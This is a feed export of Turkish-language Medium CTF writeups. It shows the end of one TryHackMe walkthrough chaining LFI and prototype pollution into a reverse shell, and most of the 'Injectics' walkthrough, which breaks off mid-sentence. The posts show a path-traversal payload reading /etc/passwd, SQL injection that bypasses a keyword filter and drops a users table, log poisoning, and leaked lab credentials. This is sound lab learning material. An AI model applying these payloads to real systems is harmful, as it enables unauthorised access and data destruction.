-d<br>eyJSZXZpZXdBcHBVc2VybmFtZSI6ImFkbWluIiwiUmV2aWV3QXBwUGFzc3dvcmQiOiJhZG1pbkAhISEiLCJTeXNNb25BcHBVc2VybmFtZSI6ImFkbWluaXN0cmF0b3IiLCJTeXNNb25BcHBQYXNzd29yZCI6IlMkOSRxazZkIyoqTFFVIn0=<br>{&quot;ReviewAppUsername&quot;:&quot;admin&quot;,&quot;ReviewAppPassword&quot;:&quot;admin@!!!&quot;,&quot;SysMonAppUsername&quot;:&quot;administrator&quot;,&quot;SysMonAppPassword&quot;:&quot;S$9$qk6d#**LQU&quot;}<br><br></pre><p>İkinci gördüğüm API’deki parola kısımlarını okuyabiliyorum. Buradan iki adet credentials elde ettim:</p><ul><li>ReviewApp için, admin:admin@!!!</li><li>SysMon için, administrator:S$9$qk6d#**LQU</li></ul><p>ReviewApp’deki credentials yanlış ama, SysMon’daki credentials doğru ve başarılı bir şekilde SysMon’a administrator olarak giriş yapıyorum. Buradaki dashboard’da ilk bayrak mevcut:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OONZabwcZfhtgUZiP3oGpA.png" /><figcaption>İlk bayrak elde edildi</figcaption></figure><p>Şimdi 2. soruya geçebiliriz. Sorunun dediğine göre /var/www/html dizini altında gizli bir metin dosyası mevcutmuş.</p><h4>4) Exploitation 3 — LFI</h4><p>Burada 2–3 saat harcadım galiba (buraya gelene kadar max 1 saatim gitmiştir). Writeup bakmamaya kararlıydım. Ve kararlı olmamın karşılığını çok iyi aldım. Düştüğüm tavşan delikleri ve asıl bulduğum çözüm işte burada:</p><p>İlk olarak, SysMon’da dashboard sayfasındaki profil fotoğrafı şöyle bir url’den elde ediliyor(sayfanın kaynak kodlarında bulunabilir, ben resmi yeni sekmede aç diyince fark ettim bunu):</p><ul><li><a href="http://10.10.75.151:50000/profile.php?img=profile.png">http://10.10.75.151:50000/profile.php?img=profile.png</a></li></ul><p>Buradaki profile.png /uploads dizininden geliyor:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*Lbx02gqoSFNh9h2tR0Cr7w.png" /></figure><p>Burada LFI testleri yapıyorum ve aşağıdaki payload ile LFI zaafiyetini elde ediyorum(manuel test yapmadım çok fazla, direkt Intruder’dan BurpSuite’ın kendi LFI payloadlarını test ettim):</p><pre>....//....//....//....//....//....//....//....//....//etc/passwd</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/1*J5temDFE_P2dZPFUyiBhcA.png" /><figcaption>LFI zaafiyeti tespit ediliyor</figcaption></figure><p>LFI’yı bulduktan sonra sıkıntı başladı bende. LFI, tek başına yeterli değildi çünkü. Okuyacağım dosyanın adını bilmiyordum ve tahmin edilebilir bir ad da beklemiyordum. O kadar kolay olmaz diye düşündüm ki haklıydım. Bana bir reverse shell lazımdı.</p><p>Reverse shell’i almak için :</p><ul><li>LFI’yı dosya yükleme zaafiyetiyle birleştirebilirdim.(zararlı php yükleyip LFI ile bu php’yi çağırmak)</li><li>Log poisoning ile varsayılan log dosyaları içine zararlı php kodları enjekte ederek yine bu log dosyalarını LFI ile çağırabilirdim.</li><li>Session dosyalarını da yukarıdaki log yöntemi gibi zararlı kod enjekte etmeye çalışıp yine LFI ile çağırabilirdim.</li></ul><p>İlk seçenekten başladım ve web sunucusunun herhangi bir yerinde dosya yükleme bölümü aradım. Bu bana mantıklı gelmişti çünkü web sunucusunda /uploads adında bir dizin vardı. Yani yüklenilen dosyaların olduğu yer. Ama malesef bulamadım.</p><p>İkinci seçeneğe geçtim ve bulduğum LFI ile log dosyalarını araştırmaya başladım ve /var/log/apache2/access.log gibi dosyaları aradım ama yine bulamadım.</p><p>Üçüncü seçeneğe geçtim, ama bu da işe yaramadı çünkü zararlı kodlu session bilgisi enjekte edemiyordum.</p><p>Üçü de tutmayınca aklıma önceden bulduğum secretKey geldi(secretKey ile insecure deserialization falan denedim ama baya tavşan deliğine düştüm) bu da tamamen fiyaskoyla sonuçlandı. Hiçbir şey elde edemedim.</p><blockquote>Düşünme süreci…</blockquote><p>Aradığım zaafiyet, SysMon’da değil de ReviewApp’taysa?</p><p>Linux’te her şey dosyadır, işlemler bile. Bir işlemin(prosesin) çalıştırdığı programı görmek istiyorsak şöyle bir komut girebiliriz:</p><ul><li>cat /proc/islem_id/cmdline</li></ul><p>Örneğin:</p><pre>zuzu@stgma39:~$ cat /proc/1/cmdline<br>/usr/lib/systemd/systemd--switched-root--system--deserialize=55splash<br><br></pre><p>Burada 1 id’li işlemin(systemd) çalıştırdığı programı görebiliyoruz.</p><p>Ben de bunu LFI zaafiyetiyle kullanmaya karar verdim ve BurpSuite’ın Intruder’ını kullanarak ufak bir fuzzing yaptım. Ve hedef makinede bulduğum proseslerin çalıştırdıkları programlara baktım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hEOE8Yh5lXGtnjrL4jA-9A.png" /><figcaption>Proseslerin cmdline’ları fuzz ediliyor</figcaption></figure><p>Burada dikkatimi çeken, 616. id’de çalışan proses oldu(sizde farklı bir sayı olabilir). Bu proses, ReviewApp’ı çalıştıran proses. Ve görüldüğü üzere bu programın çıktısı /home/ubuntu/npm_log.txt adresinde tutuluyor. Hemen bulduğum LFI ile bu dosyayı okumaya çalışıyorum ve sonuç:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CmcabKFF07Oco7AYs-hJ1w.png" /><figcaption>npm log’unun erişilmesi(payload=….//….//…. ….//home/ubuntu/npm_log.txt)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mp6WfBy5QtbEuLJNkWEFTg.png" /></figure><p>Yukarıda mavi ile işaretlenen alanlar tanıdık geldi mi?</p><p>Bunlar, aktivite önerme fonksiyonalitesinden doğan loglar ve buraya yazılıyor. Eeee burada zaten prototip kirletme açığı var. O zaman ben buraya zararlı bir php kodu içeren prototip enjekte edebilirim ve bu npm_log’u LFI ile çağırarak bu enjekte ettiğim kodu web sunucusuna çalıştırtabilirim.</p><h4>5) Exploitation 4 — LFI + Prototype Pollution = RCE ve Son Bayrak</h4><p>Hemen denemeye geçiyorum. İlk olarak test olması amacıyla whoami komutunu web sunucusuna çalıştırtabiliyor muyum diye bakıyorum:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*6zZGGplDNUv-QV-gsoLGiQ.png" /><figcaption>Test amacıyla whoami komutunun, prototip kirletmesiyle loglara enjekte edilmesi</figcaption></figure><p>Aktiviteyi öneriyorum ve profil sayfamda görünüyor:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/1*-Ijv032CJjDRMG--DgoDrA.png" /></figure><p>Şimdi de, LFI ile npm log dosyasını çağırıyorum ve BOOOM!:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7yLUmBFLI7o6hToZl5R5cQ.png" /><figcaption>www-data çıktısının gözlemlenmesi</figcaption></figure><p>RCE’ye sahip oldum. Artık tek yapmam gereken bana reverse shell veren bir php kodunu yine aynı şekilde enjekte edip LFI ile çağırmak:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/793/1*rwt3lbreoUvRuVBhG9PJRQ.png" /><figcaption>Reverse shell payloadı enjekte ediliyor</figcaption></figure><p>Son bayrağı da elde edip CTF’i sonlandırıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Aq23Xrop6WMCnhsbuaHy5A.png" /><figcaption>Son bayrağın elde edilmesi</figcaption></figure><p>Tahmin ettiğim gibi, bayrağın dosya adı karmakarışık bir şey. Bunu tahmin etmek çok zor olurdu.</p><h4>6) Değerlendirme</h4><p>İnanılmaz ve sürükleyici bir CTF’ti, çözdüğüm anda çok mutlu oldum. Özellikle LFI ve Prototype Pollution’un birleştirilip log poisoning yapılması, bu CTF’in anahtarıydı diye düşünüyorum. Kesinlikle bana çok şey öğretti. Vize haftasından sonra iyi geldi, finallere kadar tam gaz ilerleyeceğim.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d7a87fe042d4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[THM Injectics Cozumu/Writeup]]></title>
            <link>https://medium.com/@st4inl3s5/thm-injectics-cozumu-writeup-e43def36e157?source=rss-8ac372c1fc98------2</link>
            <guid isPermaLink="false">https://medium.com/p/e43def36e157</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[tryhackme-ctf]]></category>
            <dc:creator><![CDATA[Yiğit Aydemir]]></dc:creator>
            <pubDate>Mon, 27 Oct 2025 21:38:27 GMT</pubDate>
            <atom:updated>2025-10-27T21:38:27.652Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B7woSBULcUBFH7ILFsljNg.png" /></figure><p>1-) Recon(Keşif)</p><p>Makine Adı: Injectics</p><p>Açıklama: Use your injection skills to take control of a web app. (Enjeksiyon açıklarıyla ilgili bir oda)</p><p>Açıklama 2: Can you utilise your web pen-testing skills to safeguard the event from any injection attack?</p><p>Soru 1: What is the flag value after logging into the admin panel? (admin panelinde ilk bayrak mevcut)</p><p>Soru 2: What is the content of the hidden text file in the flags folder? (Son bayrağın da flags dizininde olduğunu anlıyoruz.)</p><p>nmap taramasıyla başlıyorum.</p><pre>st4inl3s5@archBTW:~$ sudo nmap -sV -sC -v -O -T4 -p- 10.10.228.101             <br>[sudo] password for st4inl3s5: <br>Starting Nmap 7.98 ( https://nmap.org ) at 2025-10-27 13:34 +0300<br>NSE: Loaded 158 scripts for scanning.<br>NSE: Script Pre-scanning.<br>Initiating NSE at 13:34<br>Completed NSE at 13:34, 0.00s elapsed<br>Initiating NSE at 13:34<br>Completed NSE at 13:34, 0.00s elapsed<br>Initiating NSE at 13:34<br>Completed NSE at 13:34, 0.00s elapsed<br>Initiating Ping Scan at 13:34<br>Scanning 10.10.228.101 [4 ports]<br>Completed Ping Scan at 13:34, 0.09s elapsed (1 total hosts)<br>Initiating Parallel DNS resolution of 1 host. at 13:34<br>Completed Parallel DNS resolution of 1 host. at 13:34, 0.50s elapsed<br>Initiating SYN Stealth Scan at 13:34<br>Scanning 10.10.228.101 [65535 ports]<br>Discovered open port 22/tcp on 10.10.228.101<br>Discovered open port 80/tcp on 10.10.228.101<br>Increasing send delay for 10.10.228.101 from 0 to 5 due to max_successful_tryno increase to 5<br>SYN Stealth Scan Timing: About 13.51% done; ETC: 13:37 (0:03:19 remaining)<br>SYN Stealth Scan Timing: About 20.02% done; ETC: 13:39 (0:04:04 remaining)<br>SYN Stealth Scan Timing: About 25.95% done; ETC: 13:39 (0:04:20 remaining)<br>SYN Stealth Scan Timing: About 40.85% done; ETC: 13:40 (0:04:00 remaining)<br>SYN Stealth Scan Timing: About 47.79% done; ETC: 13:40 (0:03:37 remaining)<br>Stats: 0:03:38 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan<br>SYN Stealth Scan Timing: About 51.51% done; ETC: 13:41 (0:03:25 remaining)<br>SYN Stealth Scan Timing: About 59.03% done; ETC: 13:41 (0:03:02 remaining)<br>SYN Stealth Scan Timing: About 69.42% done; ETC: 13:42 (0:02:37 remaining)<br>SYN Stealth Scan Timing: About 74.94% done; ETC: 13:42 (0:02:09 remaining)<br>Increasing send delay for 10.10.228.101 from 5 to 10 due to max_successful_tryno increase to 6<br>SYN Stealth Scan Timing: About 81.45% done; ETC: 13:43 (0:01:42 remaining)<br>Stats: 0:07:57 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan<br>SYN Stealth Scan Timing: About 84.04% done; ETC: 13:43 (0:01:31 remaining)<br>Stats: 0:08:02 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan<br>SYN Stealth Scan Timing: About 84.57% done; ETC: 13:43 (0:01:28 remaining)<br>SYN Stealth Scan Timing: About 90.26% done; ETC: 13:43 (0:00:58 remaining)<br>Completed SYN Stealth Scan at 13:44, 648.22s elapsed (65535 total ports)<br>Initiating Service scan at 13:44<br>Scanning 2 services on 10.10.228.101<br>Completed Service scan at 13:44, 6.21s elapsed (2 services on 1 host)<br>Initiating OS detection (try #1) against 10.10.228.101<br>Retrying OS detection (try #2) against 10.10.228.101<br>WARNING: OS didn&#39;t match until try #2<br>NSE: Script scanning 10.10.228.101.<br>Initiating NSE at 13:45<br>Completed NSE at 13:45, 4.30s elapsed<br>Initiating NSE at 13:45<br>Completed NSE at 13:45, 0.53s elapsed<br>Initiating NSE at 13:45<br>Completed NSE at 13:45, 0.00s elapsed<br>Nmap scan report for 10.10.228.101<br>Host is up (0.081s latency).<br>Not shown: 65533 closed tcp ports (reset)<br>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   3072 60:80:89:18:91:74:e2:5a:89:98:9d:df:f8:71:45:92 (RSA)<br>|   256 db:59:4f:d3:4c:26:49:d1:ab:00:af:c9:c1:83:c4:94 (ECDSA)<br>|_  256 15:00:d3:77:58:ce:af:0c:8a:35:0d:a2:b4:d4:df:2b (ED25519)<br>80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))<br>|_http-title: Injectics Leaderboard<br>| http-methods: <br>|_  Supported Methods: GET HEAD POST OPTIONS<br>|_http-server-header: Apache/2.4.41 (Ubuntu)<br>| http-cookie-flags: <br>|   /: <br>|     PHPSESSID: <br>|_      httponly flag not set<br>Device type: general purpose<br>Running: Linux 4.X<br>OS CPE: cpe:/o:linux:linux_kernel:4.15<br>OS details: Linux 4.15<br>Uptime guess: 26.763 days (since Tue Sep 30 19:25:47 2025)<br>Network Distance: 2 hops<br>TCP Sequence Prediction: Difficulty=259 (Good luck!)<br>IP ID Sequence Generation: All zeros<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>NSE: Script Post-scanning.<br>Initiating NSE at 13:45<br>Completed NSE at 13:45, 0.00s elapsed<br>Initiating NSE at 13:45<br>Completed NSE at 13:45, 0.00s elapsed<br>Initiating NSE at 13:45<br>Completed NSE at 13:45, 0.00s elapsed<br>Read data files from: /usr/bin/../share/nmap<br>OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 663.83 seconds<br>           Raw packets sent: 77515 (3.412MB) | Rcvd: 68265 (2.732MB)</pre><p>22: SSH ve 80: HTTP portları açık. Kullanılan servislerde herhangi bir zaafiyet bulunmamakta.</p><p>Tek saldırı yüzeyi olan HTTP ile ilerleyeceğim.</p><p>Anasayfanın kaynak kodlarında önemli yorum satırları:</p><pre>        &lt;!-- Website developed by John Tim - dev@injectics.thm--&gt;<br><br>        &lt;!-- Mails are stored in mail.log file--&gt;</pre><p>Buradan önemli iki bilgi elde ettim:</p><p>+ dev@injectics.thm şeklinde bir email.</p><p>+ Mailler mail.log dosyasında saklanıyormuş.</p><p>mail.log’u ziyaret ediyorum: (http://10.10.228.101/mail.log)</p><pre>        From: dev@injectics.thm<br>        To: superadmin@injectics.thm<br>        Subject: Update before holidays<br><br>        Hey,<br><br>        Before heading off on holidays, I wanted to update you on the latest changes to the website. I have implemented several enhancements and enabled a special service called Injectics. This service continuously monitors the database to ensure it remains in a stable state.<br><br>        To add an extra layer of safety, I have configured the service to automatically insert default credentials into the `users` table if it is ever deleted or becomes corrupted. This ensures that we always have a way to access the system and perform necessary maintenance. I have scheduled the service to run every minute.<br><br>        Here are the default credentials that will be added:<br><br>        | Email                     | Password                |<br>        |---------------------------|-------------------------|<br>        | superadmin@injectics.thm  | superSecurePasswd101    |<br>        | dev@injectics.thm         | devPasswd123            |<br><br>        Please let me know if there are any further updates or changes needed.<br><br>        Best regards,<br>        Dev Team<br><br>        dev@injectics.thm</pre><p>Böyle bir mail mevcut burada. İncelediğimde önemli bilgiler elde ettim:</p><p>+ Veritabanındaki users tablosu silindiğinde veya bozulduğunda, aşağıdaki credentials’lar bu tabloya insert ediliyormuş. Bu sayede sisteme erişmek için her zaman bir yolumuz var diyor maili yazan dev@injectics.thm.</p><p>+ Buradan 2 adet credentials elde ediyoruz:</p><p>superadmin@injectics.thm:superSecurePasswd101</p><p>dev@injectics.thm:devPasswd123</p><p>Aklıma ilk olarak belki daha önceden veritabanı bozulmuştur da bunlar otomatik olarak eklenmiştir diye bir ihtimal geliyor dolayısıyla bunları /login.php ve /adminLogin007.php endpointlerinde deniyorum ama nafile, veritabanı şu ana kadar bozulmamış gibi görünüyor.</p><p>2-) Enumerasyon</p><p>Henüz herhangi bir dizin taraması yapmadığım aklıma geldi ve bir dizin taraması başlatıyorum:</p><pre>        st4inl3s5@archBTW:~$ gobuster dir -u http://10.10.228.101/ -w /usr/share/wordlists/dirb/big.txt -t 100 -x php,html,txt<br>        ===============================================================<br>        Gobuster v3.8.2<br>        by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)<br>        ===============================================================<br>        [+] Url:                     http://10.10.228.101/<br>        [+] Method:                  GET<br>        [+] Threads:                 100<br>        [+] Wordlist:                /usr/share/wordlists/dirb/big.txt<br>        [+] Negative Status codes:   404<br>        [+] User Agent:              gobuster/3.8.2<br>        [+] Extensions:              php,html,txt<br>        [+] Timeout:                 10s<br>        ===============================================================<br>        Starting gobuster in directory enumeration mode<br>        ===============================================================<br>        .htpasswd            (Status: 403) [Size: 278]<br>        .htaccess.txt        (Status: 403) [Size: 278]<br>        .htaccess.php        (Status: 403) [Size: 278]<br>        .htaccess            (Status: 403) [Size: 278]<br>        .htaccess.html       (Status: 403) [Size: 278]<br>        .htpasswd.txt        (Status: 403) [Size: 278]<br>        .htpasswd.html       (Status: 403) [Size: 278]<br>        .htpasswd.php        (Status: 403) [Size: 278]<br>        conn.php             (Status: 200) [Size: 0]<br>        css                  (Status: 301) [Size: 312] [--&gt; http://10.10.228.101/css/]<br>        dashboard.php        (Status: 302) [Size: 0] [--&gt; dashboard.php]<br>        flags                (Status: 301) [Size: 314] [--&gt; http://10.10.228.101/flags/]<br>        functions.php        (Status: 200) [Size: 0]<br>        index.php            (Status: 200) [Size: 6588]<br>        javascript           (Status: 301) [Size: 319] [--&gt; http://10.10.228.101/javascript/]<br>        js                   (Status: 301) [Size: 311] [--&gt; http://10.10.228.101/js/]<br>        login.php            (Status: 200) [Size: 5401]<br>        logout.php           (Status: 302) [Size: 0] [--&gt; index.php]<br>        phpmyadmin           (Status: 301) [Size: 319] [--&gt; http://10.10.228.101/phpmyadmin/]<br>        server-status        (Status: 403) [Size: 278]<br>        vendor               (Status: 301) [Size: 315] [--&gt; http://10.10.228.101/vendor/]<br>        Progress: 81876 / 81876 (100.00%)<br>        ===============================================================<br>        Finished<br>        ===============================================================</pre><p>+ conn.php, dashboard.php, functions.php endpointleri için GET isteklerim başarısız oluyor. Bu endpointler, başka bir yerlerde kullanılıyor olabilir.</p><p>+ css, flags, javascript, js, vendor, server-status dizinleri forbidden.</p><p>+ Burada şu an sadece index.php, login.php, logout.php, phpmyadmin endpointlerine erişebiliyoruz. Ayrıca bu endpointlere ekleme olarak /adminLogin007.php endpointi de var.</p><p>/phpmyadmin dizininde yine önceden elde ettiğim credentialslar ile giriş denemeleri yapıyorum ama nafile, fakat buradan önemli bir bilgiye eriştim: Bu websitesinde veritabanı olarak MySQL kullanılıyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/465/1*SXoe4decBB7jOIPiuLb5hw.png" /><figcaption>/phpmyadmin</figcaption></figure><p>Şimdi, şu ana kadar elde ettiğim bilgiler şu şekilde:</p><p>+ Websitesinde back-end olarak PHP, veritabanı olarak MySQL kullanılıyor. Ayrılmaz altın ikili.</p><p>+ Üç adet giriş sayfası haricinde başka bir yere ulaşmam mümkün değil gibi görünüyor.</p><p>+ Bu CTF, enjeksiyonlarla alakalı.</p><p>Dolayısıyla, erişebildiğim bu 3 giriş sayfasına SQL enjeksiyonu denemeye başlıyorum.</p><p>Daha ilk payloadımı dener denemez şöyle bir engellemeyle karşılaştım:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4e-ekHLKRI7cwegyb2YnkA.png" /><figcaption>Engelleme</figcaption></figure><p>Fakat BurpSuite’dan baktığımda herhangi bir istek benden çıkmamış gözüküyor:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YNaCTWVGltnFFfxX7AAjMQ.png" /><figcaption>İstek çıkmamış gibi görünüyor</figcaption></figure><p>Bu durumda bu engelleme client tarafında ve bunu kolayca bypass edebilirim. Şimdi bu engellemeye neden olan kodu bulmam lazım.</p><p>/login.php sayfa kaynağında şöyle bir satır dikkatimi çekti:</p><pre>        &lt;script type=&quot;text/javascript&quot; src=&quot;script.js&quot;&gt;&lt;/script&gt;</pre><p>İncelediğimde aşağıdaki kodu elde ettim:</p><pre>        $(&quot;#login-form&quot;).on(&quot;submit&quot;, function(e) {<br>            e.preventDefault();<br>            var username = $(&quot;#email&quot;).val();<br>            var password = $(&quot;#pwd&quot;).val();<br><br>            const invalidKeywords = [&#39;or&#39;, &#39;and&#39;, &#39;union&#39;, &#39;select&#39;, &#39;&quot;&#39;, &quot;&#39;&quot;];<br>                    for (let keyword of invalidKeywords) {<br>                        if (username.includes(keyword)) {<br>                            alert(&#39;Invalid keywords detected&#39;);<br>                        return false;<br>                        }<br>                    }<br><br>            $.ajax({<br>                url: &#39;functions.php&#39;,<br>                type: &#39;POST&#39;,<br>                data: {<br>                    username: username,<br>                    password: password,<br>                    function: &quot;login&quot;<br>                },<br>                dataType: &#39;json&#39;,<br>                success: function(data) {<br>                    if (data.status == &quot;success&quot;) {<br>                        if (data.auth_type == 0){<br>                            window.location = &#39;dashboard.php&#39;;<br>                        }else{<br>                            window.location = &#39;dashboard.php&#39;;<br>                        }<br>                    } else {<br>                        $(&quot;#messagess&quot;).html(&#39;&lt;div class=&quot;alert alert-danger&quot; role=&quot;alert&quot;&gt;&#39; + data.message + &#39;&lt;/div&gt;&#39;);<br>                    }<br>                }<br>            });<br>        });</pre><p>Burada ana filtreyi tespit ediyoruz:</p><pre>     const invalidKeywords = [&#39;or&#39;, &#39;and&#39;, &#39;union&#39;, &#39;select&#39;, &#39;&quot;&#39;, &quot;&#39;&quot;];</pre><p>3-) Exploitation (Sömürme)</p><p>username kısmında girdiğimiz string, yukarıdaki diziden bir karakter içeriyorsa patlıyoruz. Daha istek yapılmadan engelleniyoruz. Bunu atlatabilmek için kendi web sunucumda bu scriptin beni engellemeyecek halde olan bir versiyonunu host edeceğim. Bu scripti kendi makineme kopyalayıp aşağıdaki gibi değiştiriyorum:</p><pre>        $(&quot;#login-form&quot;).on(&quot;submit&quot;, function(e) {<br>            e.preventDefault();<br>            var username = $(&quot;#email&quot;).val();<br>            var password = $(&quot;#pwd&quot;).val();<br><br>                const invalidKeywords = [&#39;or&#39;, &#39;and&#39;, &#39;union&#39;, &#39;select&#39;, &#39;&quot;&#39;, &quot;&#39;&quot;];<br>                    for (let keyword of invalidKeywords) {<br>                        if (username.includes(keyword)) {<br>        //                    alert(&#39;Invalid keywords detected&#39;);<br>        //                   return false;<br>                        }<br>                    }<br><br>            $.ajax({<br>                url: &#39;functions.php&#39;,<br>                type: &#39;POST&#39;,<br>                data: {<br>                    username: username,<br>                    password: password,<br>                    function: &quot;login&quot;<br>                },<br>                dataType: &#39;json&#39;,<br>                success: function(data) {<br>                    if (data.status == &quot;success&quot;) {<br>                        if (data.auth_type == 0){<br>                            window.location = &#39;dashboard.php&#39;;<br>                        }else{<br>                            window.location = &#39;dashboard.php&#39;;<br>                        }<br>                    } else {<br>                        $(&quot;#messagess&quot;).html(&#39;&lt;div class=&quot;alert alert-danger&quot; role=&quot;alert&quot;&gt;&#39; + data.message + &#39;&lt;/div&gt;&#39;);<br>                    }<br>                }<br>            });<br>        });</pre><p>Ardından bunu script.js olarak kaydedip python ile web sunucusu başlatıyorum:</p><pre>        st4inl3s5@archBTW:~/Documents/ctf/injectics$ sudo python -m http.server 80<br>        [sudo] password for st4inl3s5: <br>        Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ..</pre><p>Şimdi ise, /login.php’yi ziyaret edip response’ı intercept edip burdan script’in alındığı yeri(src) değiştirip kendi makinemdeki web sunucusundaki script’i çağıracak şekilde değiştiriyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pitaUqsqqujzOROZ8at-Ag.png" /><figcaption>Değiştirmeden önceki yanıt</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dVg0t8e6Q0Qs5t__Liyxhg.png" /><figcaption>Değiştirdikten sonraki yanıt</figcaption></figure><p>Ve artık tek tırnak vesaire girdiğim zaman isteklerim başarıyla server tarafına iletiliyor. Burada client tarafını bypass ettim:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VI8jyu60qY4x0GHTiz_Zwg.png" /><figcaption>Engellenen istekler sunucuya gidiyor</figcaption></figure><p>Şimdi client tarafını bypass ettiğime göre artık SQL enjeksiyon testlerime devam edebilirim. SQL enjeksiyonu testlerimi MySQL odaklı yapıyorum çünkü bunu önceden tespit etmiştim.</p><p>Authentication kısmı /functions.php’de oluyor. Giriş yaparken yakaladığım bu POST isteğini Repeater’a atıp SQL enjeksiyon testlerimi yapıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HV47ESz6yBNLokXKxijBwQ.png" /><figcaption>Klasik authentication bypass payloadları sonuç vermiyor</figcaption></figure><p>Fakat burada klasik authentication bypass SQL enjeksiyon payloadlarını(‘+OR+1=1 — +) denediğimde bir sonuç alamadım. İki düşünce aklıma geliyor:</p><p>+ Server tarafında filtre var.</p><p>+ Burası SQL enjeksiyonuna karşı güvenli, ORM vs. kullanılıyor olabilir.</p><p>Umudumu kaybetmeden birinci ihtimalle devam ediyorum ve bu sefer payloadımı bypass metodlarını kullanarak şekillendiriyorum ve:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*reQvOWGxHsx9Yvlj6-yRtg.png" /><figcaption>SQL Enjeksiyonu ile Authentication Bypass</figcaption></figure><p>Burada, tek tırnağı URL encoding bypass, OR operatörünü de (||) şeklinde yazabilme bypass(ismini tam hatırlayamadım) kullandım.</p><p>Girişimi başarıyla yaptıktan sonra önüme şu şekilde /dashboard.php sayfası geliyor:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qc63f-5QM0yRrCN-G57zzg.png" /><figcaption>/dashboard.php</figcaption></figure><p>Buradaki dashboard sayfasında, anasayfadaki verileri değiştirebileceğim bir panel var.</p><p>Şimdi ilk bayrağımı artık alabilirim diye düşünüyorum çünkü sömürme kısmındayım artık. İlk bayrağın admin panelinde olduğu yazıyordu. Peki bu admin paneli nerde?</p><p>Anlaşılan şu anda bulunduğumuz kullanıcı bu admin panel’e erişemiyor çünkü dashboard.php de böyle bir yer yok. Ben de dashboard.php’deki Edit kısmıyla oynamaya başlıyorum ve ilginç bir şey fark ediyorum: Eğer burada madalya değerlerinden herhangi birine matematiksel bir işlem(örneğin 3*3, 2+2, 2/1 gibi) girersem, buradaki madalya sayısı bu işlemin sonucuna göre şekilleniyor. Yani bu demektir ki, bizden alınan madalya verisi direkt olarak bu SQL komutuna aktarılıyor:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ARQSGh-EmFx3ak0TC6jnBw.png" /><figcaption>Bronz madalyaya 3*3 değeri girilip istek atıldı</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LPTui3z3418lzJDB6yz8TA.png" /><figcaption>Çıktısı 9 olarak ekrana yansıyor</figcaption></figure><p>Bunu tespit ettikten sonra yine veritabanını bozma işlemine geçiyorum. /login.php adresinde bunu denemiştim fakat işe yaramamıştı. Belki burda yarar diye düşünüyorum çünkü burada bir UPDATE yapıyoruz, /login.php’de SELECT yapıyorduk dolayısıyla burada bunu yapma iznim olabilir. Ve gerçekten de işe yarıyor:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YZhlUoIudOiZop69L_gipw.png" /><figcaption>SQL enjeksiyonu sonucu users tablosunu veritabanından kaldırdım</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cxPx8ULrHwQJbSoxJ_QAOQ.png" /><figcaption>Giriş yapmak için 1–2 dakika beklememi söyleyen mesaj</figcaption></figure><p>1–2 dakika bekliyorum ve önceden edindiğim credentials’larla superadmin hesabına giriş yapıyorum. Ve ilk bayrağı elde ediyorum:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UO4VPoyEoY9PeLJo4DcuSA.png" /><figcaption>superadmin için /dashboard.php</figcaption></figure><p>Kaldı son bayrak, bu bayrak büyük ihtimalle /flags dizininde fakat hala forbidden alıyorum.</p><p>Adminin dashboard’ında, diğer dashboard’ta olmayan “Profile” kısmı gözüme çarpıyor ve inceliyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wJYm-j0C3eUHAiVbTi4FfA.png" /><figcaption>Profil editleme sayfası(sadece admine özel)</figcaption></figure><p>Burada kullanıcımın emaili, ismi ve soyismini değiştirebiliyorum. Burada ismi değiştirebilmek önemli çünkü dashboard’a girdiğimde “Welcome, [kullanıcı adı]!” mesajıyla karşılaşıyorum. Büyük ihtimalle burada bir template motoru kullanılarak bu mesaj gösteriliyor. Hemen isim kısmında 